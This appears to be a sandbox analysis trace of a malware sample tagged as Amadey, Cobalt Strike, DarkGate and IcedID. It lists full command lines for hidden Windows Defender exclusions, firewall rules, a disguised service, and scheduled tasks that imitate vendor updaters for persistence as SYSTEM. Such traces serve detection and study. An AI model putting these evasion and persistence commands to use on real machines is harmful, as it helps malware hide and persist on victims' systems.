- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /D
  2⤵
  - Enumerates connected drives
  PID:2612
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:1556
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /D
  2⤵
  - Enumerates connected drives
  PID:1768
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /S
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_bfb836c4" /F
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_bfb836c4" /XML "C:\Users\Admin\AppData\Local\Temp\87e40179-9054-4393-8273-c73ceb8c9525.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_00cdb03a" /F
  2⤵
  PID:4944
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_00cdb03a" /XML "C:\Users\Admin\AppData\Local\Temp\b3937100-67b4-49d0-82e0-08f356ec58e1.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /D
  2⤵
  - Enumerates connected drives
  PID:4736
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e02a4a6e" /F
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /S
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e02a4a6e" /XML "C:\Users\Admin\AppData\Local\Temp\64b34879-e7b2-41da-8d47-9ef957c67779.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4fd105b9" /F
  2⤵
  PID:2912
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4fd105b9" /XML "C:\Users\Admin\AppData\Local\Temp\a1490ff3-c767-4af9-8c9b-d39098cd91c4.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_2bde56d6" /F
  2⤵
  PID:3836
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_2bde56d6" /XML "C:\Users\Admin\AppData\Local\Temp\ccfef243-6fd4-4123-9e32-29c178abe435.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4112
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /D
  2⤵
  - Enumerates connected drives
  PID:3444
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /S
  2⤵
  PID:3384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2988
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_45bea7e9" /F
  2⤵
  PID:4160
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_45bea7e9" /XML "C:\Users\Admin\AppData\Local\Temp\e8d439cf-d8aa-48a0-b9e4-1cfb1cd29885.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /D
  2⤵
  - Enumerates connected drives
  PID:2668
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /S
  2⤵
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /D
  2⤵
  - Enumerates connected drives
  PID:3704
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /S
  2⤵
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
  2⤵
  - Executes a command shell one-liner
  PID:4160
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Holy Check"
    3⤵
    PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2952
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:4556
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3788
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2440
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2056
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\%System32%\System32\BootFiles\Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /D
  2⤵
  - Enumerates connected drives
  PID:3460
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /S
  2⤵
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:5096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /D
  2⤵
  - Enumerates connected drives
  PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /S
  2⤵
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /D
  2⤵
  - Enumerates connected drives
  PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" S: /S
  2⤵
  PID:4076
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3720

C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2992
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  PID:1144
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3900
- C:\Windows\system32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:4384
- C:\Windows\system32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2244
- C:\Windows\system32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4032
- C:\Windows\system32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_00dc3afe" /F
  2⤵
  PID:4712
- C:\Windows\system32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3156
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Holy Check"
    3⤵
    PID:3532
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  PID:1932
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2612
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3672
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4676
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:1392
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1812
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2148
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "SYSTEM" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3636
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "SYSTEM" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32\%System32%\System32\BootFiles\Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Intel PTT EK Recertification_00dc3afe" /XML "C:\Windows\TEMP\60944583-201f-4401-b3eb-801292797102.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1532
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_c85e01a0" /F
  2⤵
  PID:2176
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_c85e01a0" /XML "C:\Windows\TEMP\fc634815-8a01-4092-aa3f-07cf4f824b93.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3188
- C:\Windows\system32\mountvol.exe
  "mountvol" E: /D
  2⤵
  - Enumerates connected drives
  PID:3868
- C:\Windows\system32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:4264
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_dbbf8615" /F
  2⤵
  PID:912
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Adobe Acrobat Update Task_dbbf8615" /XML "C:\Windows\TEMP\7440bbb9-fe44-45ff-96c4-bac5fa0d7de0.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_c7d9abeb" /F
  2⤵
  PID:3492
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Intel PTT EK Recertification_c7d9abeb" /XML "C:\Windows\TEMP\3313d560-38d1-442a-87c2-dfcd1d8081c6.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3804
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_30a329de" /F
  2⤵
  PID:3448
- C:\Windows\system32\mountvol.exe
  "mountvol" F: /D
  2⤵
  - Enumerates connected drives
  PID:2852
- C:\Windows\system32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:2764
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Adobe Acrobat Update Task_30a329de" /XML "C:\Windows\TEMP\6e777a2b-88a4-4097-8fb1-2cd405955f94.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4668
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_0fbe431f" /F
  2⤵
  PID:2784
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Intel PTT EK Recertification_0fbe431f" /XML "C:\Windows\TEMP\3cbcf7f6-b0f8-4a1d-88a5-860b7538896a.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
